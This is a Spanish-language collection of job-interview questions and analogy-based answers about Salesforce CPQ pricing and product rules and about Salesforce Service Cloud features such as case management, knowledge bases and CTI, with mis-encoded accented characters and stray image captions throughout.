Acciones admitidas Habilitar deshabilitar Agregar, habilitar, deshabilitar, eliminar, habilitar y agregar, deshabilitar y eliminar, ocultar, mostrar, ocultar y eliminar, mostrar y agregar
Condiciones La restricci贸n de opci贸n tiene una condici贸n simple: si se selecciona la opci贸n X Las reglas de producto pueden tener m煤ltiples condiciones que eval煤an informaci贸n fuera del contexto del paquete, es decir, campos de nivel de cotizaci贸n/oportunidad/cuenta.
Alcance La restricci贸n de opciones se limita a una sola opci贸n. Las reglas del producto pueden actuar sobre m煤ltiples opciones
Contexto Se utiliza s贸lo en el contexto de paquetes. Funciona en las opciones dentro del mismo paquete. Es espec铆fico de un solo paquete. Se utiliza en el contexto de paquetes y productos independientes. Se puede aplicar una regla de producto 煤nico a paquetes ilimitados.
Resultado No se puede seleccionar/deseleccionar autom谩ticamente un producto Puede seleccionar/deseleccionar autom谩ticamente un producto

25. 驴Cu谩ndo se ejecutan las Reglas de Producto durante el proceso de cotizaci贸n?

Las reglas del producto se ejecutan en la p谩gina de configuraci贸n del producto o en el editor de l铆neas de cotizaci贸n. Esto se decide en funci贸n de los siguientes campos de reglas de producto:

a. ALCANCE 鈥 (Valores: Producto/Cotizaci贸n ): el campo Alcance en el registro de regla del producto le indica a CPQ D脫NDE debe ejecutarse la regla. Un alcance de "Producto" significa que la regla se ejecutar谩 durante la configuraci贸n del producto, y un alcance de "Cotizaci贸n" har谩 que se ejecute en el Editor de l铆neas de cotizaci贸n.

b. EVENTO DE EVALUACI脫N 鈥 (Valores: Cargar/Editar/Guardar/Siempre ): el campo Evento de evaluaci贸n en el registro de regla del producto le indica a CPQ CU脕NDO debe ejecutarse la regla.

26. Explique la descripci贸n general del ciclo de vida de Salesforce CPQ.

Generaci贸n de leads: el ciclo de vida de CPQ comienza con la generaci贸n de leads, donde los clientes potenciales muestran inter茅s en tus productos o servicios.

Creaci贸n de oportunidades: una vez que se identifica un cliente potencial, se convierte en una oportunidad en Salesforce. Esta etapa implica recopilar informaci贸n del cliente y evaluar sus necesidades.

Configuraci贸n del producto: en esta etapa, el equipo de ventas utiliza Salesforce CPQ para configurar productos o servicios de acuerdo con los requisitos del cliente. CPQ permite configuraciones complejas de productos, opciones de agrupaci贸n y personalizaci贸n.

Precios y descuentos: Salesforce CPQ permite al equipo de ventas aplicar precios y descuentos adecuados seg煤n los requisitos espec铆ficos del cliente, precios basados en el volumen o acuerdos contractuales. Esta etapa garantiza precios precisos y maximiza el potencial de ingresos.

Generaci贸n de cotizaciones: una vez determinados la configuraci贸n del producto y el precio, Salesforce CPQ genera una cotizaci贸n profesional adaptada a las necesidades del cliente. La cotizaci贸n incluye informaci贸n detallada sobre los productos o servicios, precios y t茅rminos.

Aprobaci贸n y negociaci贸n de la cotizaci贸n: la cotizaci贸n generada pasa por un proceso de aprobaci贸n, donde las partes interesadas correspondientes la revisan y brindan su consentimiento. Esta etapa puede implicar negociaci贸n con el cliente para finalizar los detalles de la cotizaci贸n.

Aceptaci贸n de cotizaci贸n: una vez que el cliente acepta la cotizaci贸n, avanza a la siguiente etapa del ciclo de vida de CPQ.

Creaci贸n de pedidos: la cotizaci贸n aceptada se convierte en un pedido, lo que desencadena el proceso de cumplimiento, incluida la gesti贸n de inventario, el procesamiento de pedidos y el env铆o.

Gesti贸n de contratos: Salesforce CPQ proporciona capacidades de gesti贸n de contratos, lo que permite al equipo de ventas generar y gestionar contratos basados en la cotizaci贸n aceptada. Esta etapa garantiza el cumplimiento legal y agiliza la gesti贸n del ciclo de vida del contrato.

Reconocimiento de ingresos: Salesforce CPQ se integra con sistemas de facturaci贸n y procesos financieros para facilitar el reconocimiento preciso de ingresos. Esto implica rastrear e informar los ingresos en funci贸n de los productos o servicios entregados.

Renovaci贸n y ventas adicionales: a medida que los contratos se acercan a su vencimiento, Salesforce CPQ ayuda a gestionar las oportunidades de renovaci贸n. El sistema puede identificar oportunidades de ventas adicionales o cruzadas y guiar al equipo de ventas para maximizar el valor para el cliente.

Informes y an谩lisis: a lo largo del ciclo de vida de CPQ, Salesforce CPQ proporciona capacidades de informes y an谩lisis para monitorear m茅tricas clave, rastrear el desempe帽o de ventas, identificar tendencias y tomar decisiones basadas en datos.

27. 驴Explicar los atributos de configuraci贸n?

En Salesforce CPQ, esta funcionalidad se puede lograr principalmente creando un registro del objeto de atributo de configuraci贸n .

Atributo de configuraci贸n

Hay 2 tipos de Atributos de Configuraci贸n que podemos crear en Salesforce CPQ.

  1. Atributo de configuraci贸n
  2. Atributo global
  • Cuando queramos crear y asignar cualquier atributo al producto del paquete , crearemos un registro de Atributo de configuraci贸n que tenga el tipo de registro "Atributo de configuraci贸n" .
  • Cuando queramos crear y asignar cualquier atributo a un producto de opci贸n , crearemos un atributo de configuraci贸n de registro que tenga el tipo de registro "Atributo global" .

28. 驴Qu茅 es el precio excedente en Salesforce CPQ?

Imagina que tienes un plan de telefon铆a m贸vil que incluye hasta 10 GB de datos por 30 d贸lares al mes. Esto es mucho, pero 驴qu茅 pasa si usas m谩s de 10 GB en un mes? Ah铆 es donde entran en juego las tasas excedentes.

La compa帽铆a telef贸nica ofrece una tarifa excedente de $2 por GB adicional de datos utilizados m谩s all谩 de los 10 GB iniciales. Esto significa que si usas 11 GB en un mes, pagar谩s la tarifa base de $30 por los primeros 10 GB, m谩s una tarifa excedente de $2 por los GB adicionales, por un total de $32.

As铆 es como se descompone:

鈥 Si usas 10 GB o menos, solo pagas tus $30 habituales, sin cargos adicionales.

鈥 Si usas 11 GB, pagas $30 por los primeros 10 GB, luego $2 adicionales por el 11.掳 GB, para un total de $32.

鈥 Si usas 12 GB, pagas $30 por los primeros 10 GB, luego $4 adicionales por los GB 11 y 12, por un total de $34.

鈥 as铆 sucesivamente, sumando $2 por cada GB que uses por encima de los 10GB.

Este sistema hace que la facturaci贸n sea m谩s clara y sencilla. Usted sabe exactamente cu谩nto se le cobrar谩 si excede su l铆mite de datos y la compa帽铆a telef贸nica puede calcular f谩cilmente los cargos seg煤n el uso real.

Para utilizar tarifas excedentes, debemos crear un campo personalizado especial en el objeto Precio de bloque. Este es un paso 煤nico para cualquier organizaci贸n que utilice Salesforce CPQ.

29. 驴Explique la ca铆da de precios en CPQ con la ayuda de un ejemplo?

Imagina que est谩s en "Sundae Funday", una helader铆a conocida por sus aderezos y sabores especiales. Decides comprar un cono de triple bola con tus sabores favoritos y as铆 es como cambia el precio:

1. Precio original: Este es el costo b谩sico en el que incurre 鈥淪undae Funday鈥 para hacer un cono de helado, incluyendo el helado, el cono, los aderezos y los costos operativos. Digamos que son $3.00. Esto no incluye ganancias ni costos adicionales; es simplemente cu谩nto le cuesta a la tienda hacer ese delicioso cono.

2. Precio de lista: ahora, el taller agrega su margen de beneficio, considerando factores como los gastos generales, los salarios del personal y el margen de beneficio. Este es el precio que ves en el men煤 cuando entras. Entonces, tu cono de triple cucharada aparece en $5.00. Ese es el precio est谩ndar para cualquier cliente en un d铆a normal.

3. Precio especial: 驴Adivina qu茅? Visitas la tienda un 鈥渕artes tropical鈥 y todos los conos con sabor tropical tienen un 20% de descuento. Como elegiste mango como una de tus bolas, tu cono ahora tiene un 鈥減recio especial鈥 de $4.00. Este precio es espec铆fico para esta promoci贸n o segmento de clientes.

4. **Precio Regular**: 隆Aqu铆 vienen los beneficios del programa de fidelizaci贸n! Como titular de una tarjeta de fidelidad 鈥淪undae Funday鈥, tienes derecho a un descuento adicional del 10 % en cualquier compra. Ese beneficio reduce su precio a $3.60. Este es el 鈥減recio regular鈥 que se ofrece a los clientes que cumplen ciertos criterios, como los miembros leales.

5. **Precio para el cliente**: Tienes un cup贸n por completar una encuesta en tu 煤ltima visita, lo que te otorga un descuento adicional de $0,50 en tu pr贸xima compra. Despu茅s de aplicar esto, su 鈥減recio al cliente鈥 ahora es de $3,10. Este precio es el resultado de interacciones o negociaciones directas y 煤nicas.

6. **Precio de socio**: La helader铆a tiene una asociaci贸n con un cine cercano. Dado que tiene una entrada de cine para el mismo d铆a, obtiene un descuento adicional del 5%, lo que reduce su cono a un 鈥減recio de socio鈥 de $2,95.

7. **Precio neto**: Finalmente, hay una promoci贸n para toda la tienda en la que cada compra superior a $2,50 obtiene un descuento adicional de $0,10. Esto 煤ltimo te lleva a tu 鈥減recio neto鈥 final de $2,85. Este es el monto final que paga y refleja todos los descuentos, promociones y circunstancias especiales que ha acumulado.

En este viaje, cada reducci贸n de precio refleja una etapa en la cascada de precios CPQ, desde el costo b谩sico de los bienes hasta el precio final pagado por un cliente en una posici贸n 煤nica.

Memorizar las etapas de tarificaci贸n junto con sus funciones utilizando el

Con el mnemot茅cnico 鈥淟os viejos leones duermen, rara vez atrapan presas, nunca ronronean鈥 , puede crear una historia que vincule cada t茅rmino no solo con el orden de los precios sino tambi茅n con sus roles espec铆ficos en el proceso de fijaci贸n de precios.

30. 驴Explique el m茅todo de fijaci贸n de precios de 'porcentaje del total'?

Imagina que est谩s en un parque de helados, famoso por su variedad de deliciosos helados y divertidas atracciones secundarias. Uno de los servicios 煤nicos que ofrece este parque es el "Bono Sorpresa de Sundae", un regalo especial que se calcula en funci贸n del monto total que gasta en otras delicias. As铆 es como funciona:

1. M茅todo de fijaci贸n de precios: 鈥淧orcentaje del total鈥:

鈥 Piense en esto como la 鈥淩egla de la sorpresa del helado鈥. Cada vez que compras helados, batidos o aderezos, eres elegible para recibir un regalo adicional. El parque ha establecido esta regla especial seg煤n la cual su bonificaci贸n es un porcentaje del monto total que ha gastado, como su 鈥減ropina鈥 en el restaurante. Esta regla es conocida por todos y es como la forma especial que tiene el parque de dar las gracias.

2. Porcentaje del total (%) 鈥 El n煤mero m谩gico:

鈥 El parque tiene carteles por todas partes que dicen: 鈥溌asta en golosinas y recibe un 10% de bonificaci贸n!鈥 Este 10% es el n煤mero m谩gico. Es como la receta especial para la felicidad del parque. Entonces, si gastas $30 en varios helados y batidos, recibir谩s un 鈥淏ono Sorpresa de Sundae鈥 por valor de $3.

3. Porcentaje de la base total: recuento de helados:

鈥 Ahora, aqu铆 es donde se pone a煤n m谩s genial. El parque te permite elegir qu茅 cuenta para este c谩lculo m谩gico del helado. Suponga que decide que solo cuentan las bolas de helado, no los batidos ni los waffles. Eso significa que si gastaste $20 en bolas y $10 en batidos, solo los $20 cuentan para tu 鈥淏ono Sorpresa de Sundae鈥, lo que lo convierte en un valor de $2 (10% de $20).

Por lo tanto, cada vez que disfruta de las delicias cremosas en este parque de helados, Salesforce CPQ es como el servidor invisible que trabaja en segundo plano. Se trata de asegurarse de que se sigan las reglas, calcular su gasto total, aplicar el porcentaje m谩gico y calcular su bonificaci贸n en funci贸n exactamente de lo que desea contar para la sorpresa.

Esto hace que recordar el concepto de 鈥減orcentaje del total鈥 sea tan f谩cil como disfrutar de un helado en un d铆a soleado.

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馃殌 Gu铆a definitiva de 150 preguntas sobre Salesforce Service Cloud: 隆domine cada detalle! 馃専

Servicio_nube

Temas cubiertos en la entrevista de Salesforce Service Cloud:

  • Conocimientos generales y caracter铆sticas
  • Gesti贸n de casos
  • Soluciones y base de conocimientos
  • Consola de servicio
  • Portales/comunidades de clientes y agentes
  • Flujo de trabajo y automatizaci贸n:
  • Informes y paneles en Service Cloud
  • Integraci贸n de CTI y telefon铆a
  • Servicio al cliente en redes sociales
  • Chat y mensajer铆a
  • Integraci贸n de correo electr贸nico
  • M茅tricas y an谩lisis de rendimiento
  • Inteligencia artificial (IA) en la nube de servicios
  • Servicio de campo
  • Macros
  • Preguntas basadas en escenarios

Conocimientos generales y caracter铆sticas

1. 驴Qu茅 es Salesforce Service Cloud?

鈥 Imagine que dirige una empresa y tiene toneladas de clientes que hacen preguntas o tal vez tienen problemas con su producto. Ahora, desea ayudarlos de manera r谩pida y eficiente. 隆Ah铆 es donde entra Salesforce Service Cloud!

2. 驴C贸mo beneficia Service Cloud a un departamento de atenci贸n al cliente?

ni帽o, ni帽o, juego, malabarismo, pelota, vector, aislado, 18804576, arte vectorial, en, Vecteezy

Como empresa, usted maneja cosas agitadas que pueden ponerse cuando los clientes lo llaman, le env铆an correos electr贸nicos o le hacen ping en las redes sociales. 隆Es como hacer malabares! Service Cloud es como un asistente s煤per inteligente que ayuda a atrapar esas pelotas. Realiza un seguimiento de todos los problemas de los clientes (llamados "casos" en Salesforce), se asegura de que los vea la persona adecuada y proporciona respuestas que su equipo puede utilizar para responder m谩s r谩pido.

驴La mejor parte? Puede conectarse con sus clientes dondequiera que est茅n: por tel茅fono, en las redes sociales, lo que sea. 隆Menos caos, m谩s choca esos cinco en la oficina!

3. 驴Cu谩l es la diferencia entre Salesforce Sales Cloud y Service Cloud?

Paseo en coche (#1) - Openclipart

Piense en su negocio como en un autom贸vil. Sales Cloud es como el motor que lo impulsa hacia adelante: lo ayuda a encontrar nuevos clientes y los convence para que se sumen. Estamos hablando de gestionar contratos, realizar un seguimiento de las ventas y realizar previsiones. Ahora bien, 驴la nube de servicios? Ese es su sistema de direcci贸n y comodidad. Una vez que los clientes est谩n a bordo, se garantiza que est茅n contentos durante el viaje. Atiende sus preguntas, resuelve cualquier problema y se asegura de que disfruten tanto del viaje que querr谩n viajar contigo nuevamente.

4. 驴Qu茅 es OmniCanal en el contexto de Service Cloud y c贸mo beneficia a una empresa?

OmniCanal es una forma para que su empresa hable con los clientes dondequiera que prefieran: redes sociales, correo electr贸nico, tel茅fono o incluso chat en vivo. Pero es inteligente; garantiza que su equipo no se sienta abrumado y que las preguntas de sus clientes lleguen a la persona adecuada que pueda responderlas mejor.

5. 驴C贸mo mejora Service Cloud la satisfacci贸n del cliente?

Conocer bien a sus clientes y satisfacer sus necesidades r谩pidamente no s贸lo los deja satisfechos; 隆Puede convertirlos en fan谩ticos de tu marca! Adem谩s, los clientes satisfechos a menudo significan que volver谩n y les dir谩n a sus amigos lo fant谩stico que eres: 隆todos ganan!

Gesti贸n de casos

1.驴Qu茅 es un caso en Salesforce?

鈥 Imag铆nese esto: un cliente tiene una pregunta o tiene problemas con su producto. Piden ayuda. 驴Ese mensaje de ayuda? En Salesforce, a eso lo llamamos "caso".

2.驴C贸mo se pueden crear casos en Salesforce?

Los casos son como boletos. En Salesforce, los casos pueden surgir de todas partes: un cliente env铆a un correo electr贸nico, completa un formulario en su sitio web, le env铆a un mensaje en las redes sociales o incluso llama. Cada una de estas acciones puede iniciar un caso para que su El equipo sabe que alguien necesita una mano.

3. 驴Qu茅 es Web-to-Case y c贸mo se utiliza?

驴Sabes c贸mo puedes pedir tu caf茅 con anticipaci贸n en una aplicaci贸n y te estar谩 esperando cuando llegues? Web-to-Case es algo as铆, pero para servicio al cliente. Permite a sus clientes completar un formulario en su sitio web cada vez que necesitan ayuda, y esa informaci贸n se env铆a directamente a Salesforce como un caso. De esta manera, su equipo de servicio al cliente puede comenzar a desarrollar soluciones de inmediato.

4. 驴Explicar el correo electr贸nico para enviar casos?

Piense en Email-to-Case como un puente entre su bandeja de entrada de correo electr贸nico de servicio al cliente y Salesforce . Cuando sus clientes le env铆an un correo electr贸nico pidi茅ndole ayuda, Email-to-Case lo detecta y lo convierte en un caso en Salesforce.

5. 驴Qu茅 es la escalada de casos y c贸mo se configura?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

A veces, las cosas necesitan un poco m谩s de urgencia, como una entrega de pizza en 30 minutos o menos. La escalada de casos ocurre cuando un caso no se ha resuelto en un cierto per铆odo de tiempo y sube en la lista de prioridades o incluso se entrega a un gerente. En Salesforce, esto se configura creando reglas de escalamiento que controlan el tiempo de los casos y activan una se帽al de alerta cuando uno est谩 tardando demasiado.

6. 驴C贸mo funcionan las reglas de asignaci贸n de casos?

Se帽ales manuales de emergencia de la polic铆a de tr谩nsito para conductores: conduzca en Malasia

Las reglas de asignaci贸n son como los polic铆as de tr谩nsito de Salesforce. Observan los nuevos casos que llegan y les indican la direcci贸n correcta. Seg煤n los detalles del caso, como de qu茅 se trata o de qui茅n proviene, estas reglas los env铆an al departamento correcto o a la persona m谩s adecuada para ayudar. Mantiene las cosas en movimiento sin problemas.

7. 驴Qu茅 son las colas de casos y en qu茅 se diferencian de las reglas de asignaci贸n?

Las reglas de asignaci贸n dirigen los casos a personas espec铆ficas de inmediato, mientras que las colas les permiten esperar en un lugar relevante para que los tome cualquier miembro disponible del equipo.

8. 驴C贸mo se realiza un seguimiento del historial del caso?

Realizar un seguimiento del historial de un caso en Salesforce es como tener un mapa de d贸nde ha estado, a qui茅n ha visitado y qu茅 se ha hecho hasta el momento. Cada vez que alguien ve el caso, realiza un cambio o agrega algo, Salesforce toma nota de ello. As铆, cualquiera que observe el caso podr谩 ponerse al d铆a con su recorrido.

9. 驴Qu茅 son los equipos de casos?

Los equipos de casos en Salesforce son como grupos de proyectos en la escuela. Puede formar un equipo de varios usuarios con diferentes roles para colaborar y resolver un caso de manera eficiente.

10. 驴C贸mo se utilizan los feeds de casos?

Los feeds de casos son como l铆neas de tiempo de las redes sociales para cada caso. Muestran una vista cronol贸gica de todas las actividades, como mensajes, cambios de estado o acciones del usuario, relacionadas con un caso.

11. 驴Puedes realizar un seguimiento del tiempo dedicado a cada caso?

S铆, con funciones de seguimiento del tiempo. Es como un cron贸metro del trabajo: puede medir cu谩nto tiempo dedican los agentes a cada caso.

12. 驴C贸mo maneja Salesforce los correos electr贸nicos masivos en la gesti贸n de casos?

Salesforce le permite enviar correos electr贸nicos masivos para mantener actualizados a muchos clientes a la vez.

13. 驴Qu茅 son los hitos del caso?

Los hitos son como puntos de control en una carrera. Son objetivos espec铆ficos que los agentes deben alcanzar dentro de un plazo determinado mientras resuelven un caso.

14. 驴Cu谩l es la diferencia entre un caso y una orden de trabajo?

Un caso es un registro de un problema de un cliente, mientras que una orden de trabajo es una solicitud de trabajo, a menudo utilizada para servicios de campo o tareas f铆sicas.

15. 驴Cu谩les son los beneficios de utilizar Chatter para los casos?

Chatter es como una sala de chat para el trabajo. Los agentes pueden discutir casos, compartir archivos y obtener comentarios de los miembros del equipo directamente en el registro del caso.

16. 驴Cu谩les son los componentes de la regla de asignaci贸n de casos en Salesforce?

En Salesforce, la regla de asignaci贸n de casos giraba en torno a dos componentes principales, como la regla de caso y los criterios de caso.

Regla de caso: una regla de caso define una o m谩s de una condici贸n que debe cumplirse para ser asignada a un usuario espec铆fico. Podemos agregar tantas entradas de reglas como queramos a una sola regla de asignaci贸n.

Criterios de caso: Los criterios de caso son las condiciones que se basan en diferentes factores como el origen del caso, el estado, el tipo, etc.

Soluciones y base de conocimientos

1. 驴Qu茅 es el conocimiento de Salesforce?

Salesforce Knowledge es como una carpeta para toda la informaci贸n que su equipo necesita para ayudar a los clientes. Es un lugar donde puedes almacenar art铆culos, preguntas frecuentes, gu铆as de soluci贸n de problemas y m谩s, todo organizado y f谩cil de encontrar.

2. Explicar el proceso de creaci贸n y mantenimiento de una Base de Conocimiento en Salesforce.

Crear una base de conocimientos es como abastecer una biblioteca. Empiece por escribir art铆culos; pueden ser preguntas frecuentes, gu铆as pr谩cticas o pasos para la soluci贸n de problemas. Una vez que haya terminado, los colocar谩 en los estantes (es decir, los publicar谩 en Salesforce Knowledge) y as铆, estar谩n disponibles para que los lea su equipo o incluso sus clientes. Deber谩 revisar sus art铆culos con regularidad, actualizar la informaci贸n anterior y seguir agregando material nuevo para mantener todo actualizado.

3. 驴Cu谩l es la diferencia entre Soluciones y Art铆culos de Conocimiento?

Libro. Antiguo libro de texto, enciclopedia, diccionario o libro de cuentos de hadas. Dise帽o de dibujos animados felices para ni帽os, p谩gina para colorear, estampado de camisetas, icono, logotipo, etiqueta, parche, pegatina. SVG, cliparts, vectores y ilustraciones libres de derechos.

Las soluciones son como esas viejas enciclopedias : tienen informaci贸n 煤til, pero son un poco b谩sicas y solo su equipo puede leerlas. Por otro lado, los art铆culos de conocimiento son como tener una base de datos completa en l铆nea. Son m谩s din谩micos, pueden incluir videos e im谩genes y puedes compartirlos no solo con tu equipo sino tambi茅n con tus clientes.

4. 驴C贸mo pueden los usuarios de Service Cloud aprovechar los art铆culos de conocimiento?

Piense en los usuarios de Service Cloud como bibliotecarios. Cuando un cliente tiene una pregunta, en lugar de hojear montones de libros o luchar para encontrar un experto, puede buscar el art铆culo de conocimiento correcto y tener las respuestas al alcance de su mano. Esto hace que ayudar a los clientes sea m谩s r谩pido, m谩s preciso y, sinceramente, mucho menos estresante.

5. 驴Pueden los clientes acceder a los art铆culos de conocimiento? 驴Si es as铆, c贸mo?

隆Por supuesto que pueden! Puede configurar una comunidad de clientes o un sitio web p煤blico donde estos art铆culos est茅n disponibles. Los clientes pueden ingresar, buscar lo que necesitan y, a menudo, resolver sus propios problemas sin tener que levantar el tel茅fono o enviar un correo electr贸nico.

Consola de servicio

1.驴Qu茅 es la Consola de Servicio en Salesforce?

Ilustraci贸n de Chef y m谩s Vectores Libres de Derechos de Adulto - Chef, Dibujos Animados, Gorro De Chef - iStock

Imag铆nese ser chef en una cocina ocupada y bien equipada. La Consola de servicio es como su estaci贸n de cocina, donde tiene sus ingredientes (datos del cliente), utensilios (herramientas y aplicaciones) y recetas (art铆culos de conocimiento), todo en un solo lugar. Est谩s all铆, cocinando varios platos (manejando varios casos de clientes) a la vez. 馃嵆馃懇鈥嶐煃仇煍

2. 驴C贸mo mejora la Consola de servicio la productividad de los agentes?

Si eres chef en una cocina, 驴no ser铆a m谩s f谩cil cocinar si todos tus ingredientes, utensilios y recetas estuvieran en un solo lugar? Eso es lo que hace la Consola de servicio por los agentes. Pone todo lo que necesitan en un solo lugar. Pueden chatear con los clientes, echar un vistazo al historial de su cuenta y comprobar sus pedidos, todo al mismo tiempo. 隆Es como tener superpoderes, para que puedan ayudar a los clientes m谩s r谩pido y mejor!

3. 驴Se puede personalizar la Consola de servicio? Si es as铆, 驴c贸mo?

隆Por supuesto! Al igual que puedes reorganizar las aplicaciones en tu tel茅fono, puedes modificar la Consola de servicio para adaptarla a tus necesidades. Todo esto se hace a trav茅s de algo llamado "Creador de aplicaciones", donde arrastra y suelta los componentes que desea. Es como jugar un juego en el que dise帽as tu centro de mando.

Portales/comunidades de clientes y agentes:

1. 驴Qu茅 es una comunidad de clientes en el contexto de Service Cloud?

Dibujo infantil de CCC, bloques de colores 鈥 Catskill Community Center

Imag铆nese un centro comunitario en un vecindario. Es un lugar donde los residentes se re煤nen para discutir temas, compartir noticias, pedir prestado herramientas o incluso organizar eventos. Ahora, imagine si su empresa tuviera un 鈥渃entro comunitario鈥 virtual para sus clientes. Esa es una comunidad de clientes en Salesforce. Es un espacio en l铆nea donde sus clientes pueden reunirse para hacer preguntas, compartir ideas e incluso resolver problemas juntos. Tambi茅n pueden encontrar art铆culos o anuncios 煤tiles que haya publicado, 隆muy parecido a un tablero de anuncios comunitario!

2. 驴En qu茅 se diferencian los portales de agentes de los portales/comunidades de clientes?

Cree un portal de socios, habilite la cuenta de socio y los usuarios y agregue

En el centro comunitario, piense en el Portal del Cliente/Comunidad como el sal贸n principal donde todos se re煤nen, conversan y comparten. El Portal del Agente, sin embargo, es como la oficina administrativa que da al sal贸n principal. Desde esta oficina, sus agentes de servicio al cliente pueden observar lo que sucede en la comunidad, intervenir para ayudar cuando sea necesario o proporcionar recursos.

3. 驴C贸mo pueden los clientes utilizar las comunidades para autoservicio?

En una comunidad de clientes, los clientes pueden explorar los art铆culos que usted ha proporcionado, encontrar respuestas a preguntas comunes o hacer una nueva pregunta que cualquier miembro de la comunidad puede responder. Esto les permite encontrar soluciones en su propio tiempo y t茅rminos, sin necesidad de llamar directamente a la 鈥渙ficina del administrador鈥 (contactar con soporte).

4. 驴Cu谩les son las mejores pr谩cticas para crear una comunidad de clientes?

La comunidad de clientes de Salesforce debe ser f谩cil de usar y proporcionar valor real. Aseg煤rese de que sea de f谩cil acceso, con categor铆as claras para la discusi贸n y una amplia base de conocimientos. Actualice y modere peri贸dicamente el contenido para garantizar que sea relevante y apropiado. Fomente la participaci贸n reconociendo a los miembros activos u organizando eventos o desaf铆os comunitarios.

Flujo de trabajo y automatizaci贸n

1. 驴Se puede automatizar el enrutamiento de casos? 驴Si es as铆, c贸mo?

En Service Cloud, los casos se pueden enrutar autom谩ticamente. Puede establecer criterios, como si un caso proviene de un cliente VIP, va directamente a su mejor agente, o si es un problema com煤n, va a cualquier agente disponible. De esta manera, todos reciben un servicio eficiente y eficaz.

2. 驴C贸mo se automatiza el seguimiento del acuerdo de nivel de servicio (SLA) en Service Cloud?

驴Est谩s preparado para Domino's... - Domino's Pizza Bangladesh | Facebook

Imag铆nese el restaurante prometiendo que cada pedido se servir谩 en 30 minutos o, de lo contrario, ser谩 gratis. Para cumplir esta promesa, tienen un sistema que inicia una cuenta regresiva en el momento en que se realiza un pedido y alerta al gerente si llega a los 25 minutos. Service Cloud puede realizar un seguimiento de los SLA de forma similar. Puede establecer los plazos en los que los casos deben resolverse seg煤n su nivel de prioridad y automatizar recordatorios, escalamientos u otras acciones si esos plazos se acercan o no se cumplen. 隆Mantiene al equipo responsable y a los clientes contentos!

3. 驴Podr铆a definir la Gesti贸n de derechos en el contexto de Salesforce Service Cloud?

La gesti贸n de derechos en Salesforce Service Cloud es una funci贸n que ayuda a las empresas a definir, hacer cumplir y realizar un seguimiento de los acuerdos de nivel de servicio (SLA) con sus clientes. Permite a las empresas establecer el nivel de soporte al que tiene derecho un cliente, en funci贸n de factores como garant铆as de productos, contratos de servicio o planes de soporte. Esta caracter铆stica garantiza que los clientes reciban el soporte al que tienen derecho dentro del plazo acordado.

4. 驴Puedes explicar la funcionalidad de Visual SLA Timelines?

Los cronogramas visuales de SLA en Salesforce Service Cloud ofrecen una representaci贸n gr谩fica de los cronogramas asociados con cada SLA. Ayudan a los agentes de servicio a visualizar el tiempo restante necesario para resolver un caso seg煤n el SLA asociado. Esto permite a los agentes priorizar su trabajo de manera efectiva y garantizar el cumplimiento de los t茅rminos del SLA.

Informes y paneles

1. 驴C贸mo mejoran los informes y paneles las operaciones de servicio?

Imag铆nese que al final de cada d铆a, el gerente recibe un resumen de todo lo sucedido: cu谩ntos clientes llegaron, cu谩l fue el plato m谩s popular, cu谩ntos elogios o quejas se recibieron, etc. En Service Cloud, los informes y paneles son como este resumen diario. Ofrecen a los directivos una visi贸n r谩pida pero completa de c贸mo van las cosas. 驴Los clientes esperan demasiado? 驴Algunos problemas se resuelven m谩s r谩pido que otros? Esta informaci贸n ayuda al equipo a saber qu茅 funciona y qu茅 no, para que puedan mejorar su "servicio".

2. 驴Se puede realizar un seguimiento del rendimiento de los agentes con Service Cloud? Si es as铆, 驴c贸mo?

Service Cloud le permite realizar un seguimiento del desempe帽o de sus agentes. Puede ver cu谩ntos casos han resuelto, qu茅 tan r谩pido est谩n trabajando e incluso c贸mo los clientes califican su servicio. Es como un gr谩fico de desempe帽o para los camareros, pero para sus agentes de servicio.

3. 驴Cu谩les son algunas m茅tricas de servicio comunes que puede rastrear en Service Cloud?

En el mundo de Service Cloud, las m茅tricas comunes incluyen cosas como

  • tiempo promedio de resoluci贸n de casos
  • puntuaciones de satisfacci贸n del cliente
  • tasas de resoluci贸n del primer contacto
  • vol煤menes de casos por tipo o fuente

Integraci贸n de CTI y telefon铆a

1. 驴Qu茅 es la Integraci贸n Telef贸nica Computadora (CTI)?

Representante De Servicio Al Cliente De Dibujos Animados De Forma Tridimensional De Persona De Negocios - Banco de fotos e im谩genes de stock - iStock

Es un t茅rmino para un sistema que permite que las computadoras interact煤en con los tel茅fonos. Significa que cuando alguien llama, el sistema de atenci贸n al cliente sabe inmediatamente qui茅n es y cu谩l es su historial con la empresa.

2.驴C贸mo mejora CTI el servicio al cliente?

En el restaurante sin CTI, cada llamada de un cliente ser铆a como una reuni贸n de camareros durante la cena por primera vez. Tendr铆an que volver a hacer todas las preguntas b谩sicas: "驴Tiene alguna alergia?" 鈥溌縋refieres asiento junto a la ventana o en el pasillo?鈥 etc茅tera. Con CTI, es como si el camarero ya te conociera. Te saludan por tu nombre, recuerdan que eres al茅rgico al man铆, saben que te gusta el queso extra y tienen lista tu mesa favorita. En t茅rminos de atenci贸n al cliente, esto ahorra tiempo, personaliza la experiencia del cliente.

3. 驴Puede darnos un ejemplo de c贸mo se utiliza CTI en un escenario de call center?

Cuando un cliente llama, la pantalla del agente muestra inmediatamente el nombre del cliente, su historial de compras, problemas anteriores y cualquier otra informaci贸n relevante. Luego, el agente puede saludar al cliente por su nombre y atender sus necesidades de manera proactiva, a veces incluso antes de que el cliente indique por qu茅 llama. Se trata de hacer que la experiencia de servicio sea fluida y placentera, como tener la mejor mesa lista incluso antes de entrar.

Servicio al cliente en redes sociales

1. 驴Qu茅 es el servicio al cliente social en Salesforce?

驴Sabes c贸mo puedes chatear con amigos y ver qu茅 est谩n haciendo en las redes sociales? Salesforce permite a las empresas hacer lo mismo con sus clientes. Pueden revolotear y ver lo que la gente dice sobre ellos en las redes sociales.

2. 驴C贸mo pueden los agentes utilizar Salesforce para responder a las consultas de los clientes en las redes sociales?

Ya sea que los clientes tuiteen, publiquen en Facebook o compartan historias de Instagram sobre sus experiencias o problemas, los agentes no tienen que desplazarse de una plataforma a otra. Pueden responder a todas estas publicaciones sociales desde su 'colmena' de Salesforce, asegur谩ndose de que nadie se sienta ignorado y que cada problema se resuelva r谩pidamente.

3. 驴Puedes realizar un seguimiento de las conversaciones de las redes sociales en Service Cloud?

隆Absolutamente! Service Cloud controla todas las conversaciones que ocurren entre la empresa y los clientes en las plataformas sociales. Recuerda qui茅n dijo qu茅, almacena informaci贸n sobre los problemas del cliente e incluso c贸mo se resolvi贸. De esta manera, si el cliente vuelve a comunicarse, la empresa no hace las mismas preguntas de siempre, sino que contin煤a la conversaci贸n justo donde la dej贸, como si retrocediera en el historial de chat con un amigo.

Chat y mensajer铆a

1. 驴C贸mo funciona Live Agent en Service Cloud?

